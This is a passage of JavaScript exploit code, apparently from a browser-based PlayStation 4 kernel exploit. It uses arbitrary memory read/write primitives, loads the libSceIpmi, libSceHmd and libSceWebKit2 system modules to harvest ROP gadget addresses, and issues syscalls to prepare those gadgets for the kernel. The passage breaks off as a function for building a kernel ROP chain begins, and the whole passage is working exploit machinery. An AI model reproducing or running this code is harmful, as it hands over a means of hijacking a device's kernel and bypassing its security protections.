| 310 | |
| 311 | //Obtain extra gadgets through module loading |
| 312 | function extra_gadgets() { |
| 313 | handle = p.malloc(0x1E8); |
| 314 | var randomized_path_length_ptr = handle.add32(0x4); |
| 315 | var randomized_path_ptr = handle.add32(0x14); |
| 316 | ex_info = randomized_path_ptr.add32(0x40); |
| 317 | |
| 318 | p.write8(randomized_path_length_ptr, 0x2C); |
| 319 | chain.syscall(602, 0, randomized_path_ptr, randomized_path_length_ptr); |
| 320 | random_path = p.readstr(randomized_path_ptr); |
| 321 | |
| 322 | var ipmi_addr = load_prx("libSceIpmi.sprx"); |
| 323 | var hmd_addr = load_prx("libSceHmd.sprx"); |
| 324 | var wk2_addr = load_prx("libSceWebKit2.sprx"); |
| 325 | |
| 326 | for (var gadget in hmd_gadgetmap) { |
| 327 | window.gadgets[gadget] = hmd_addr.add32(hmd_gadgetmap[gadget]); |
| 328 | } |
| 329 | for (var gadget in wk2_gadgetmap) { |
| 330 | window.gadgets[gadget] = wk2_addr.add32(wk2_gadgetmap[gadget]); |
| 331 | } |
| 332 | for (var gadget in ipmi_gadgetmap) { |
| 333 | window.gadgets[gadget] = ipmi_addr.add32(ipmi_gadgetmap[gadget]); |
| 334 | } |
| 335 | |
| 336 | for (var gadget in window.gadgets) { |
| 337 | p.read8(window.gadgets[gadget]); |
| 338 | //Ensure all gadgets are available to kernel. |
| 339 | chain.fcall(window.syscalls[203], window.gadgets[gadget], 0x10); |
| 340 | } |
| 341 | chain.run(); |
| 342 | } |
| 343 | |
| 344 | //Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack. |
| 345 | function kchain_setup() { |